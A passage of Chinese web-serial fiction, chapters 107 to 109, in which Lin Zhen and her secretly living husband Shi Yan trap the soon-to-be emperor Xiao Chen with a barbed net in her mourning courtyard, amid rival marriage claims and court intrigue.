林蓁担心道:“对上萧忱,你有几成把握?” 时彦掩下心中担忧,尽量平淡语调:“事在人为,我快死了都能柳暗花明,对付他事情还没糟糕到快死的程度。” 林蓁搂紧他说不出话,前方风险两人心照不宣,即便刀山火海现下也只能义无反顾全力以赴。 “你不要死。”默了许久,林蓁喃喃嘱托。 “已经死过一次,不会再淌进同一条河”,时彦语气轻松,突然伸手从脖颈上摘下一个物什。 他把手伸到林蓁眼前,那块翡翠十字架项链在他掌心泛出盈盈绿光。 林蓁愣愣看着十字架,去岁时她就把它摘了下来,随手丢在了静苑不知哪个犄角旮旯,他竟然自己戴上了它。 时彦动作轻缓,将十字架重新戴上林蓁脖颈,待她戴好后,他微微低头,亲亲她的脖颈,又亲亲十字架所在的胸口。 “两世妈妈都保佑你,我也是”,时彦温暖浅笑,“你会平安无虞。” 时彦身形融入窗棂外的黑暗,林蓁站在窗前望向夜空中的明月,手指轻轻抚摸着胸口十字架,它很温暖,帖服在自己胸口,像温柔的吻还在那儿。 月亮变得朦胧,眼泪悄然滑落,林蓁心里涌起久违的安然,时彦没有死,她不是一个噩运缠身的人。 她可以做一些事,初心不改。 第107章 第 107 章 是水乳交融的夫妻 梧桐叶染上两分黄, 南归雁阵在无垠天空阵阵鸣叫不断改变队形,白莲教骚乱平息时已是九月初秋。 萧忱从衡州回潭州必会经过湘阳县,林蓁从旁人口中知道他的动向,在她的坚持下, 早早跟随梅棠到潭州下面县乡继续当初废太子旧部剿杀案的查核事宜。那些没籍为婢曾经养尊处优的官家小姐们, 名册上十之九八, 已不在人世, 幸存至今的官婢各个形容枯槁,听闻有可能脱离奴籍恢复自由, 无不热泪盈眶感恩天子功德。 林蓁难免感慨,记忆中模糊的母亲可以搂紧她的孩子们,对 着自己和弟弟开心欢笑,实在不知该说是悲惨还是有一点点幸运。惟愿把各种证词核验得完备再完备一些,给这些在世或已不在世的可怜女子们重见天日机会。 等林蓁再回湘阳县时, 得知萧忱已回皇城, 她大大松了一口气,被萧忱放回的云娘转交她一封信。萧忱在信中正色庄容, 慰她节哀,嘱她为母亲的事多费心思, 他在皇城等她归来,共为母亲拨云见日, 到时望她不负所学, 继续为百姓谋安, 为社稷谋策。 云娘递这封信时忧心忡忡,林蓁看过后把信直接给她看,浅笑安慰道:“不久后母亲就会沉冤昭雪,我需守丧三年, 三年内都不用担心。” 她眼角嘴角均翘起弧度,长长羽睫却垂落掩去眸中忧色,按脚程计算,时彦应已回了皇城,但并未听闻任何毅勇侯起复消息,是他路上遭遇不测,还是皇城局势已被萧忱牢牢掌控,林蓁不想刻意去想那些更坏的结果。 以为方怀简跟随萧忱一起回了皇城,岂知他还去潭州云鹭书院呆了几日,临走时特地来探望林蓁。 那个寂静黄昏,方怀简站在林蓁面前,目光微凝,林蓁面色不再憔悴,眼神中又有了往日光彩和坚韧,她没有如上次在月华寺时周身冷冽排斥他,神情是久违的清明与安宁。 知道她在丧期里强打精神,跟着梅棠走访潭州下面许多县乡,方怀简有千言万语在心头翻滚,几夜未眠想出来的腹稿滚瓜烂熟却不知如何启口。 终是林蓁先启口,知道时彦无事,对方怀简的恨意淡了些许,梦里他毫无防备被萧忱背刺,再见方怀简,林蓁心里还是为梦里情景悸动。 “若萧忱顺利,回皇城后想必你会高升,你自认是他工具,你也不在意,但萧忱如何想谁也不知道,他心机深沉,你多小心,莫要飞鸟尽良弓藏。” 林蓁语气平淡,可她的关切瞬间撕开方怀简心中笼网,僵直身体变得柔和,眼中也有了光火,他轻轻叹了口气,嘴角不自觉地扬起:“谢谢!” 被暗翳遮挡住的光芒重新耀亮,方怀简心中重新生起了火,他目光格外柔和,语气藏不住温暖与愉悦,他舔了舔嘴角,似乎思索如何措辞,试探道:“等我们都回皇城时,一切重新开始,好不好?” 他的激动他的心思尽在林蓁眼里,可她不知道怎么说,告诉他真相让他站在自己这边和时彦一起与萧忱对立?他和时彦一样,带着他的家族投入到这场皇权争夺,林蓁没有把握和底气赌方怀简的选择,在最接近成功那刻为她放弃一切。 “我没有任何心思,我还有很长丧期,你好好为自己打算,不要再考虑我。” 林蓁望着他,心中情绪繁杂,轻轻摇了摇头,她知道,都是既定命运的安排,萧忱或许会笑到最后,方怀简就别再跟着自己折腾。 “不会的!以后再没什么烦心事,萧忱会为你安排好一切!你不需要有任何顾虑!” 林蓁脸上闪过一丝淡笑,她没再多说,摇头幅度却越来越大,“记住我的话,别再考虑我。” 时间近九月底,梅棠等人已先行回了皇城,林蓁终于等来毅勇侯府大管家,他带着从皇城运来的上好棺柩,在湘阳县月华寺里给“时彦”换了棺椁做了法事,一行人才重新启程返回。 据林蓁观察,毅勇侯府出来的众人似乎没人知道时彦假死,回皇城路上气氛低沉,毅勇侯仍然赋闲在家,唯一好消息时姝有了身孕,可她和萧策都在封地呆着,皇城里的几位皇子已被禁锢,他们根本不敢有回皇城的心思。 整日面对厚重棺椁,林蓁心情益发沉重,不知时彦是否遭遇不测,每每想及此心口就缓不过气,她强撑精神,在脆弱希望中离皇城越来越近。 深秋时节,棺椁终于运回毅勇侯府,建安帝下诏为时彦厚葬,礼仪繁复,阵容盛大。谢氏早就卧床不起,毅勇侯时世诚和时隽操持了整个仪式。葬仪上,林蓁再见萧忱与方怀简,萧忱冷峻面容上只有深深哀悼,他慰藉时世诚几句,似乎没有瞧见白压压披麻戴孝人群中的自己。 葬仪结束,按礼制林蓁应在侯府和众人一起为时彦守丧,可毅勇侯时世诚罕见开口,让林蓁独自去静苑守丧,呆在府里让谢氏看到,影响谢氏休养。 在听到毅勇侯吩咐的那刻,林蓁沉郁心中许久的焦灼和不安终于消散,从时彦离开湘阳县衙时,无数个日夜,她都在为他担忧,惧怕听到最坏的消息,恐他已不在人世。回来后一直到葬仪结束,侯府家人们都神情哀恸,林蓁实在辨不出真假,也不敢偷问,公爹素来待人和善,若不是知道什么,绝不会在侯府风雨飘摇时刻遣自己单独去静苑,林蓁捂住胸口,激动得哭泣,只是这次不再是哀伤,心中喜悦在无尽眼泪中尽情释放。 回到久别静苑,林蓁心情和当初离开时大不相同,虽然皇城时局没什么变化,萧忱已完全控制住局面,荣登大宝似乎指日可待,可一想到时彦没有死,还在为反击萧忱在暗黑处奔忙,林蓁就觉得,希望还有,就在前方。 她每日早早熄灯,和衣躺在床上等着时彦,一连等了两夜,等得自己不知不觉睡着时彦都没有来。林蓁不信别的可能,第三夜,继续等。 三更锣鼓声在夜晚传得悠远,躺在床上林蓁眼皮子开始打架,就在困意袭来,她又快睡着时,门扉吱呀一声,一个高大人影悄悄闪进了屋。 困意全消,林蓁一个鲤鱼打挺坐了起来,虽没有亮灯,但眼睛早就适应黑暗,那熟悉高大挺拔人影除了时彦再没别人! “阿彦!”林蓁轻轻唤了一声。 声音温柔激动颤栗,像启动时彦身上某个机关,林蓁想趿上鞋,在床沿边还没有坐稳,时彦突地已闪到她身旁,瞬间压住了她。 林蓁被扑倒在床上,肩膀被时彦紧紧拥住,他密密地吻着她的脸。 心跳剧烈,时彦温暖气息和熟悉味道充斥着她的鼻腔,思维被他的吻打乱,她想问些什么说些什么的,此刻什么都想不起来。 脸瞬间滚烫,身体难以控制地轻轻颤动,每一寸肌肤都在回应他的触碰,身体里涌动着无法抗拒的力量让她不能自已紧紧缠绕他。 林蓁捧起时彦面庞,珍视地看着他,回应着他的吻,眼泪一滴滴从眼角滑落。 “蓁蓁,我回来了”,时彦声音低沉,带着一路奔波的暗哑,却又无比清晰真实,“我们再不分开。” 虽然周遭昏黑,但时彦眼眸像漆黑夜空里的星星,钻石般闪耀,林蓁对着这样一束光亮,心里似被倏地点燃了火苗,火焰越来越大,变成烟花,绽放得绚丽炽烈,所有的焦灼孤独期盼都在轻柔缠绵的吻中消散无踪,烟花消散又绽开,心中被满足填满。 时彦的吻渐渐发散,柔软躯体的热度烫得彼此衣裳悄然间落到暗处,时彦的手带着林蓁一寸寸触碰他。 曾经夜晚无数次,他们彼此极其喜欢之事。 璀璨光芒在胸腔中炸开,林蓁似乎能看清彼此一切,肌肤或嫩嫩软软或鼓鼓囊囊,林蓁闭上眼,感受胸腔中的烟花顺着奔腾血液绽放到四肢百骸,烟花散落时的星星点点缓缓坠入血液肌肤骨骼,又引发新一轮璀璨,此起彼伏,此消彼长,整个人浸泡在一种无法言喻愉悦幸福中。 她轻轻抚摸着他的肌肤,指腹下是一道道狰狞伤痕,她手指颤抖着,仿佛曾经他的疼痛传递回了她,手掌上粘湿的都是他的汗水,时彦浑身汗津津,林蓁摸索着,探寻着他每一寸肌肤每一道伤口,好似这样做就能快速消弭它们。 她的泪水湿了他的脸颊,而她指腹触碰他的眉眼时,也被汩汩液体浸染得如在拨弄一弯温泉。 两个人紧紧缠绕着彼此,在寂静黑暗里,无声流泪,泪水交融,带出积压在心底的委屈爱恋缱绻,它们倾泻而出,一遍遍冲刷彼此所有的悔意难过和想念…… 时彦一遍遍不停地吻,似乎永远不会餍足,这一次蓁蓁真的回来了,身心唯一地奔回自己,不再责骂自己怨恨自己抗拒自己,他想吻她进入自己骨血,再不会让她溜走。 无比幸运和幸福,命运将这样美好的她再次带回给他,是他不敢奢求的圆满,时彦满足,感恩,更有坚定,既然这份幸运幸福重新回到自己怀抱,他不会让其再次沾染上任何遗憾。 他深深紧拥她,林蓁流着泪不停歇上下抚着他的腰身,无与伦比的宽厚和纵容。 分不清谁的心跳声,咚咚声响震彻时彦耳畔,每一下都敲在他的魂魄上,为他摇旗呐喊,让他感到前所未有的完满,心中涌出一股撼天动地气力,勇猛骁健,让他心甘情愿无所畏惧为林蓁做任何事。 比任何一次都心有灵犀,两人懂得 彼此,需要彼此,熔化彼此,至乐至善…… 是水乳交融的夫妻,不是偷摸见不得光亮的私情,时彦唇齿间彼此眼泪咸涩,可却觉得异常甘美,他在心中发誓,他会拥着这份幸运与感激,守护怀中人的平安和愿望,守护他俩长长久久,直到这个世界消逝。 第108章 第 108 章 请陛下为臣赐婚 小说圆满大结局中, 萧忱杀伐果断解决了所有威胁到他帝位的皇子,付出明晖死在他怀中代价,和时姝相伴到最后荣登大宝。 现实里,谋害建安帝的两位皇子本就证据确凿下狱, 在萧忱回皇城后不久人头齐齐落地, 对他皇位有威胁的仅剩大皇子, 而大皇子被带回皇城的白莲教护法指认, 与白莲教暗中勾结,也被投进大理寺牢狱, 似乎命不久矣。 一切都按部就班快速奔向原剧情终点,除了毅勇侯时世诚,他是原剧情中早逝的人物,现在被褫夺守卫皇城兵权,在侯府为时彦服丧。 每周时彦会在深夜潜回静苑一两次, 给林蓁带来外面最新消息。没有什么好消息, 建安帝被两位皇子毒害后神智时而清醒时而混沌,在时世诚离开宫城回府赋闲后, 现在建安帝被萧忱的人完全控制,已经彻底不认识人了, 活着意义只剩下成为萧忱傀儡,指望时世诚重掌兵权对抗萧忱的可能微乎其微。 晚秋深夜, 霜华初凝, 枝头残叶被偶尔刮过的冷风吹得沙沙作响。 床榻上男女紧拥在一起, 额头抵着额头,唇瓣对着唇瓣,唇齿交融肌肤紧贴,彼此完美契合的温暖甜蜜让两人暂时忘却了所有烦忧, 相互身心慰藉中,仿佛只要两人相拥在一起,就能抵御外界风声鹤唳里的所有寒冻和霾雾。 在喘息和呜咽声中,时彦告诉林蓁,建安帝已下诏传位萧忱,宫中正为萧忱登基大典日夜忙碌准备。 林蓁呼吸微滞,每一个字都落在她心上,冰得她心口一颤,时彦没有办法阻止这一切发生,待尘埃落地,萧忱就会来找自己,让自己答应他? 她怔怔看着时彦眼睛,仿佛没有听懂,又似听得太过分明,嘴唇轻动,想说些什么,终究没有发出一字半语,喉咙里被堵住了所有言语,只剩静默。 抚在时彦腰间的手指无意识用力,紧紧按攥住他的腰身,似要借此攫住一丝真实,抵御心头翻涌的惧怕。 她忽地抬头,眼中水光潋滟,泪珠挂在眼角倔强地不肯坠下,唇瓣贴上时彦的唇,带着急切与无措,肆无忌惮吮吸他咬他。 完全不同过往的温软,林蓁的吻让时彦尝受到痛楚和铁锈味,可他任由她攫住自己的呼吸,默默承受,由着她攀附啃噬激荡,仿佛这是他俩这辈子最后一个吻最后一次相拥。 不知多久,林蓁唇间力道渐渐放松,动作慢慢停歇,凌乱呼吸也缓缓平复,她在时彦的下方慢慢往下缩,缩到他的胸口,脸颊贴着他火热胸膛,听着他的心跳声闷闷地细声哭了起来,哭声闷在喉间,不想让任何人听见。 时彦的手缓缓抚过她的乌发,带着不急不缓安抚,他低头亲吻她的发顶,温热气息落在她的鬓角,声音有些犹豫:“有一个主意,但是是一场豪赌,赌上你我许多人性命,成则生败立死。” 林蓁抬眸,眼中闪着光:“是什么?” * 天高云淡秋深露冷,静苑里屋檐下挂着白绫,琉璃灯也换成白灯笼,秋风拂过,满苑凄清。林蓁坐在窗棂边,呆呆望着院中那棵老樟树。它高大粗壮,枝叶依旧繁茂,遮挡住院落里大半阳光,绿叶在风中舞动不歇,不知人间悲喜春去秋来,自顾自展现生命气息。 忽然,一道黑影自檐角掠过,迅疾如电,连檐下白绫都未能掀起半分晃荡。林蓁眼中掠过一丝茫然,怀疑自己恍惚,刚想抬手揉揉眼睛,窗棂前已站着一位玄衣男子,衣角似乎还带着一丝风寒,微微摆动。 明晖挂着浅浅笑意,淡淡看着她。 林蓁尚未来得及惊讶,他已翻窗而入,动作轻盈如燕,靴尖落地,没有发出半点声响。林蓁连忙关紧窗棂,方才转身看向明晖,担心地问:“你怎么白天来这儿?” 明晖淡然道:“若不是怕你害怕,我可以从正门进来。” 他背着手,姿态闲适,仿佛没看到静苑里半分白色,不沾分毫凄凉:“我要走了,再不回来。” “你自保重,成亲前多磨磨他。” 他尾音轻佻,眼里还带着笑,好像不知一身素缟的林蓁已是孀妇。 林蓁听时彦提过,萧忱凭借白莲教众名册,大肆搜捕白莲教各地骨干人员,朝廷几十年心腹大患白莲教即将寿终正寝。这一切应该都是明晖与萧忱交易。 林蓁微微叹口气:“谢谢你来探望,你不看他登基再走么。” “不关我事,他允诺登基时会大赦天下,包括你去潭州查的废太子旧部的案子,我是来感谢你”,明晖随意抬手,将鬓边几缕发丝拨到耳后,动作自然带着几分漫不经心,“没有你去潭州忙碌几个月,他就是大赦,这个事情还是理不清。” “世上再没有明晖,愿你得偿所愿,早生贵子,我会祝福你。” 林蓁垂眸咬紧了唇,他以为自己愿望是和方怀简成亲,他的祝福她根本不想要。 不过,也没必要再多解释,明晖换回女儿身,从此过上想要的生活,这已经很好。 “你多保重,别让萧忱再知道你的任何消息。” 明晖似笑非笑应了一声:“我明白。” 虽然明晖自觉没有危险,但他仍是原来男子打扮,还是朝廷通缉白莲教重犯,林蓁不敢多留他,催他小心离去莫要被人瞧见。 她小心翼翼打开窗棂,只漏出一条窄窄缝隙向外张望,却见云娘慌慌张张跨过院门跑了过来。 她脸色煞白脚步慌乱,林蓁看着她的脸色心也跟着乱了,隔着窗棂问道:“云娘,怎么了?” 云娘驻了脚步往窗棂这边看,声音发颤:“萧忱,不,陛下来了!马上进来!” 屋内寂静,只有樟树树叶沙沙声从窗缝漏进,林蓁的脸突的罩上一层晦暗,只顿了一息,她飞速合上窗棂,转身对明晖道:“你不要出去,无论发生什么都不要出去!” 她的视线在屋内转了一圈,不容置喙要求明晖:“你躲到衣柜里,或者床下也行,不要让任何人看到你。” “萧忱看到我,并没有什么”,看着林蓁慌乱紧张神情,明晖有些不解,萧忱想杀自己,有许多机会,不会选择此处多添不便。 见明晖杵着不动,林蓁心急如焚,但此刻时间紧迫,她实在顾不上明晖,口中重复着“无论发生什么别出来”,她快步走到门边,拿起立在门后的一根长长竹竿和卷起的白色丧幡,深吸一口气后出了门。 门在明晖眼前重重合上,他抿了抿唇,走到门扉边微微垂首,眼睛贴着门缝看向屋外。 林蓁紧握竹竿和丧幡,步伐急促,快步走到樟树树干边,她抬头望了望,将竹竿高高举起,小心翼翼地将丧幡挂在树枝之上,长长的白色丧幡垂了下来,在树枝间微微晃动,幡布最上方一角挂着一个铃铛。 她终于放下竹竿,将它横放在院角,随即走到云娘身边和她说了几句话,云娘点点头,转身往另一个方向匆匆离去。 秋风吹入院内每个角落,林蓁被冷风刺得格外清醒,她站在白色丧幡下,眉眼中透着冷凝肃穆,静静看向空荡荡门口,等着萧忱到来。 门口现出一群人影,都是宫廷内侍装扮,林蓁微微张口,缓缓吐出口气。 为首者萧忱身形挺立,气度非凡,皇袍如天上旭日,光华闪耀,金色龙纹盘旋腾跃,每一片龙鳞都亮若星辰,他每一步都稳沉坚定,带着无尽尊贵与权威,万物都在他的脚下低头臣服。 许久未如此近距离相见,他威仪冷肃睥睨一切气质越发强大,众生命运,似乎都在他的一念之间。 不等人走近,林蓁俯身跪地,“臣女拜见陛下。” 萧忱跨过院门,离林蓁丈余处停下脚步,目光看向跪俯在地的林蓁。 她浑身素缟,身形纤弱柔顺,深深埋首,乌黑亮泽鬓发下长长脖颈发出玉般光泽,让人忍不住遐想,想抚上摸一摸,是不是也像玉般温润滑腻。 她会温顺垂下脖颈,盼着自己的温存,很快。 “免礼。”萧忱意外,声音轻得不似自己,似乎语气重些就会惊扰到眼前破碎感满满的美人,让她更添怜弱。 林蓁轻轻起身,神色恭然敬畏,尽量让自己的动作平静自然,目光始终停留在地面,不与萧忱对视。 院子里忽然安静下来,风声都像被沉寂吞没,原本还在轻轻摇曳的 丧幡也停止拂动,悬挂在林蓁头顶,让一身素缟的她更显无助可怜。 萧忱的手背在身后,整个人像一座巍然不动山岳,沉稳中带着气势逼人的威压。 令人窒息的沉默中,一道温润声音打破了寂静:“林蓁,你在潭州立惠民之功,陛下令你守丧三月代替三年,即日起除服,官复原职。” 林蓁愕然抬眸,目光落在说话之人身上,她太熟悉他的声音。 方怀简站在萧忱半个人身之后,他穿着三品绯色官服,端正清贵,目光山泉般清澈温和,院中冷冽气氛似乎都被他温暖形容消融了几分。 “三日后陛下登基大典,陛下仁厚,会大赦天下,不过毅勇侯能否起复,得看你的意思。” 方怀简微微挑眉,与林蓁对视目光中递给她一个意味深长的眼色。 林蓁挪开了视线,目光继续看向自己脚下。 与设想情形大相径庭,该说些什么呢,她得尽力拖延时间,让萧忱离自己近一些。 林蓁默了片刻,启口道:“臣女,臣女——” 她的声音很轻,头又稍稍下垂,萧忱只看到林蓁嘴唇微微动了几下,发出几个听不太清的音节,他向林蓁走近了两步,问道:“林蓁,你意下如何?” “毅勇侯心怀叵测,与魏王萧策勾连,若你官复原职劝服他在家自省,朕也可不追究此事。” 萧忱声音低沉悠缓,平静得让人惶恐不安。 他离自己已近在咫尺,林蓁想到接下来之事,身体绷紧,她双腿一软,重新跪俯在萧忱脚下,喉咙发紧,声音暗哑:“臣女谢陛下恩典,臣女愿为大周为陛下,鞠躬尽瘁死而后已。” 柔顺形态柔美话语实在动人心弦,萧忱唇角浮现出一丝微不可查笑意,他缓步走向林蓁,微微躬身,想拉起脚下人:“林蓁,你与朕是什么关系,你对朕,不必如此。” 金光耀眼的袖袍伸向林蓁,就在萧忱指尖触及林蓁的那瞬,电光火石间,一道绯红身影倏然跪落在林蓁身旁。 林蓁身侧,方怀简双膝重重叩地,绯色官袍在地面铺开,连接上林蓁身上的白,让那素缟更刺眼寒凉。 方怀简脊背挺直,仰首看向萧忱,温润面容上有浅浅笑意:“陛下,臣心悦林蓁,臣斗胆,请陛下为臣与林蓁赐婚。”语调平静而清晰,似乎是早已深思熟虑多遍的决意。 可这句话如惊雷般炸响,院内空气似乎都被激起无形涟漪。 林蓁俯身,柔软背脊微抖了一瞬。 萧忱的手悬在半空,随即他收回手直起身体,冷眼看向跪在地上的方怀简,微嗤了一声:“赐婚?” 长长丧幡悬在三人头顶,似感受到方怀简惊雷般的声波,微微晃荡。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第109章【终章】 第109章 终章 大国舅可满意? “是, 陛下初识臣之时,便知臣心有所属。如今天下已定,臣斗胆,恳请陛下成全臣此桩心愿。” 见萧忱冷眼看着自己, 目光幽深颇有玩味, 并没有应允意思, 方怀简心头微沉。 当初投奔萧忱时, 自己对林蓁心意就直白和他提过,那时他没说什么, 想来不过属下私事他未入心,现在这般冷淡有推脱之态,是因为他知道林蓁是他妹妹,不愿意林蓁嫁给自己这个二婚男? 方怀简神色不变,垂眸掩去眼底不虞, 侧首看向身边林蓁, 她低垂着头,长长睫羽垂落挡住光线, 也让任何人看不清她的眼神,她的身姿未曾向自己转向一分, 仿佛根本没听到自己刚刚说过的话。 但方怀简了解她,她只是逃避, 用沉默掩饰心中徘徊。 离开潭州前, 两人虽没有挑明没有承诺, 但相处中你侬我侬,若不是时彦死了,她现在应该嫌恶时彦,一心和离, 心上人只会是自己。 一夜夫妻百日恩,他比不过一个死人,林蓁或许现在仍然陷于时彦去世的悲痛,暂时不能接受自己,但她做不出在天子面前义正辞严拒绝自己的举动,那样就永绝了彼此情意,自己不但在天子面前失了颜面,更会在今后官途发展中落入不利境地。 林蓁不会那样做,她从来不忍心让自己陷入困境。 选择今日此刻突然求萧忱赐婚,方怀简就赌林蓁对自己还有情,逼她放弃缩在静苑做鹌鹑,迫她勇敢选择自己,放下一个死人。 目光柔和看向林蓁,方怀简温声道:“安安,我心中,自始至终唯一个你”。 林蓁跪俯在地,从头到脚纹丝不动,像一幅精致仕女画,可方怀简捕捉到她素缟袖口那一抹轻纱微微颤动,应当平整的袖摆绞出一道浅浅褶皱,那是指尖用力的痕迹。 眼中顿起酸涩,方怀简心中刺痛,他伸手想握住林蓁那块颤动,“你告诉我,告诉陛下,经历这么多,你心里也还有我,是不是?” 眼前白影一闪,林蓁身影骤然消失,方怀简握了个空。 她被萧忱猛力拽起,猝不及防下险些跌倒,萧忱的手牢牢攥住林蓁手腕,林蓁站在他身边像被施了定身术的鹌鹑。 “你不配”,萧忱声如冰棱,看向方怀简的目光毫不掩饰心中不快,“朕的人,朕亲自照看。” “不配”,“朕的人”,萧忱声音在方怀简脑中嗡鸣,他愣在原地,殚精竭虑助他成就大业,想不到萧忱能当面说出如此难堪之言。 在他心里,自己算什么?怎么不配林蓁,除了曾娶妻,而全皇城的人都知道,自己娶妻并非本愿。 他蓦地站起身,目光灼灼看向萧忱,声音低沉压抑着怒意:“陛下,此言何意?” “陛下的龙佩——陛下”,意识到在林蓁面前不可提玉佩,否则曾经对她说过的话会露馅,一句话在喉间转了又转,方怀简缓声道:“陛下,时彦奸诈狡猾蒙骗林蓁,方才娶她为妻,在此之前和之后,我对林蓁心意从未改变。” 一声冷哼从萧忱喉间溢出,他接过方怀简的话,反问道:“所以,为从他身边夺回林蓁,你利用朕?但你知道,朕从不给他人做嫁衣。” 萧忱目光看向林蓁,她垂着眼,试图挣扎出自己手心,脸色比身上素缟还要白上几分,显然她心里极不好受。 心里倏地生出一股难以描述的嫉妒,她在玉泉庵时不是已经放下方怀简了么,怎么时彦死了,她竟为方怀简流露出这般神色? 心惧林蓁下一句就开口说“愿意”,萧忱对方怀简道:“她冰雪聪明,你做过什么,你以为她什么都不知道?” 在萧忱说“利用他”时,方怀简已有些心慌,此刻萧忱当着林蓁的面欲言又止,欲盖弥彰的模样让方怀简更为忐忑,他对上林蓁目光,尽管他竭力掩饰,可林蓁似乎看透他内心慌乱和不安,她目光痛苦,似乎什么都知道。 忆起上一世后,他了解她,同样的,他也被她了解,什么暗藏心思都藏不下。 方怀简的心似被林蓁目光炙烤,他不甘地喊道:“你不要相信他!” 见林蓁沉默以对,方怀简向萧忱走近一步,眼中喷出怒火:“陛下是要卸磨杀驴?” 他竟胆大到走到自己面前来问话,萧忱眉头紧锁,他面沉如水但仍耐着性子答道:“非也,朕岂能不知你的功绩,只要你没有不该有的心思,不觊觎不属于你的人,你这 身官服不会有人让你脱下。” 还未正式登基,局势没有完全稳定,这个阶段不是处理随扈属下的良机,萧忱冷肃着脸,言语不再如方才那般狠厉:“与林蓁一同落水,你却不娶她,从那时起,你和她就缘尽,这里面的道理你难道不明白?” 这话也是说给林蓁的,当初林蓁为方怀简哭哭啼啼模样,萧忱还历历在目,这样的男人,有什么必要吃回头草。 “以后你看中哪家姑娘,朕必给你赐婚。” 方怀简一脸灰败,萧忱凝视着他脸上神色,心中涌出隐秘快意,他紧了紧握着林蓁的手,睨眼看向方怀简:“她是朕的人,明白了吗?” 方怀简一点儿都不明白,即便林蓁知道真相,看到自己的丑陋,不再愿意和自己重续旧情,她和萧忱不过是兄妹关系,什么是“朕的人”? “我不是,我是御史台八品监察,是盐铁使时彦夫人!”林蓁想甩开萧忱的手,无奈他紧紧禁锢着她,她如何也挣脱不得。 方怀简看着两人拉扯,走上前伸手想掰开萧忱的手:“陛下,这周围还有许多人。” 好些个宫廷内侍不敢上前,但站在檐下垂首候着,也是满满一圈人。 萧忱在方怀简走近时放开了林蓁,林蓁往后连退了几步才止步,躬身垂首面对萧忱站着。 萧忱不甘道:“三日后,你随朕参加朕的登基大典,朕要让你亲见亲身感受,被人匍匐在脚下,俯瞰天下的快哉! 普天之下,你唯有在朕身边,方能真正体会权力美丽迷人滋味。” “朕后宫虚位以待,你进可入朝堂议政,退可守宫闱乾坤,世间局势尽在你掌握,朕想不明白,朕予你世间贵极乐极,你还有什么理由不答应朕。” …… 目光怔怔看着萧忱,仔细聆听他说的每一个字,方怀简心中似遭了盗贼一片狼藉,他几乎不相信自己耳朵,萧忱查过林蓁凤佩,怎能不知两人是一母同胞?! 面前两人,一个仍娓娓描述贵极福极生活,一个满腹心思似思索什么难以言喻的决断,萧忱后面的话方怀简再也听不进半个字,只见他的嘴唇一张一合,脑里心里如遭雷劈,空白一片焦灼成焰,无尽懊悔与愧疚在心里翻江倒海。 他视林蓁为最亲近之人,相信她说的每句话,丝毫没有怀疑过萧忱与她的关系还有别的可能,在她彷徨无助时,他还扮演着推手角色,将她不断推向萧忱,希冀获得他的保护。 如今此刻,他才知道真相,可萧忱和自己已将她逼到无路可退境地,想到林蓁无奈和孤苦,想到她和萧忱在洞庭湖上单独相处日日夜夜,方怀简心被刀搅般疼。 心中万千思绪各种念头交织,然当下萧忱即将登基,方怀简理不出什么头绪可以实质帮助林蓁,唯一心意脑海里越来越清晰。 即便为时已晚,他也要挡在她身前。 方怀简突的打断萧忱的话,沉声道:“陛下,林大人刚刚失了丈夫,陛下此刻站在昔日夫妻恩爱小院,说着这番话,不是向未亡人心上捅刀么。 生杀予夺,不过陛下口舌之间,陛下这样举止,和霸占民女有什么区别? 国是繁重,陛下不在朝堂理政,跑到侯府向孀妇示好,这非明君所为。” 就在刚刚,他还跪地求赐婚,转眼间被夺舍了般,说出令萧忱与林蓁瞠目结舌之话,而且语言犀利,像把利刃直刺萧忱。 “这里没你事,你且退下!”怀疑方怀简求娶失败,一时失心疯,萧忱不想和他多费口舌,让他滚。 “陛下!”方怀简纹丝不动,身挺如松,“臣不敢违命,但陛下一意孤行,做出昏君之举,臣若缄口不言,便是不忠不义。” 眼光看向檐下众内侍,萧忱盘算着是否要将方怀简拖出去。他脸色难辨,方怀简从未如此不知天高地厚,他是料定自己登基前不会动他?一时无言以对。 林蓁亦未想过,方怀简竟对萧忱如此出言不逊,她心乱如麻,耳听八方,留心苑里各种动静。 “铃铃铃”,头顶丧幡微微晃荡,铃铛发出清脆响声。 这是一个特制丧幡,铃铛不会被风吹响,只有明显外力触碰才会有响动,它在告诉林蓁,快跑! 林蓁下意识屏住呼吸。 “除非陛下与臣一同离开,若不然,臣宁死在此处,也不让陛下误入歧途”,方怀简仍在滔滔不绝,林蓁深深看了他一眼。 他目光注视着萧忱,眉宇间不见畏惧,眼中无波无澜,却透着一股不可撼动,周围内侍似被他言语压迫,死死埋头不敢多看一眼。 秋日阳光穿过樟树密密树叶落在他的脸上,像一张金网笼罩着他,他的脸在这张网中显得朦胧,却别有神采。 他死后的模样也会这样好看吗? 林蓁伸手拽紧了方怀简衣袖,她做不到,她无法看着他下一刻死在一张网中。 虽然和时彦商讨过多次,半夜三更在樟树下演练,当时她决然承诺过,不管任何人,可真正来到这一刻,她做不到不管飞飞。 飞飞在为她挡刀。 突如其来的亲近让方怀简止住了话,衣袖被死死牵住,他疑惑地看向林蓁。 “跑!”林蓁面色决绝。 方怀简怔住,手腕上触感温软,和她神情截然不同,他震惊了一瞬,来不及想发生了什么,脚底就跟着林蓁飞起来。 刚跑了两步,身后一股疾风袭来,林蓁肩头一瞬闷痛,肩胛骨似乎错了位,整个人被猛力拉住,她下意识松手,下一刻被萧忱箍在怀中。 方怀简手腕一轻,回头一看,林蓁已跌在萧忱怀里,他转身回撤,想拉出林蓁,头顶“唰”一声巨响,一张沉重巨网从樟树上落下,将三人瞬间压倒在地,死死罩住。方怀简挣扎着试图撑起绳网,绳索上尖锐倒刺顿时刺得他满身血。 林蓁跌在了萧忱怀中,完美变成他的肉盾,她没有挣扎,然而绳网重力已让倒刺压得她浑身鲜血直冒。 她的目光穿过绳网,落在头顶樟树上,翠绿枝叶间阳光漏下来,落在她的脸上,她不觉得刺眼,她很快就再也见不到这些明媚了。 怎么会这样,在漆黑冰冷夜晚,时彦让自己练习过无数次,从任何一个站位每一个跑向,甚至最糟糕情况跑得慢被网住后的情形,每一次结果都是生,时彦没给自己想过死的可能。 可偏偏它就发生了,她在萧忱怀里,没有跑的可能,她想救下的人也没能成功,方怀简也会陪着她死去。 林蓁耳边传来刀剑相击激烈碰撞声,那些声音越来越近,周围像一个热闹集市,各种声音混杂其中,唯有头顶那片树阴,依旧安然寂静。 她的余光看到,屋檐上爬上许多玄衣人。她知道那些人,都是与萧忱有血海深仇被时彦找来的死士,他们手中弓弩会射穿自己身体,射进萧忱血肉,完成它们的使命。 “时世诚?!”身下萧忱声音传来,他厉声威胁道,“敢动我,我立刻扭断她的脖颈!” 公爹来了?那时彦呢?林蓁费力转动眼珠看向四周,她的脖颈被萧忱死死掐住,脸上身上又网着绳索,根本动弹不得。 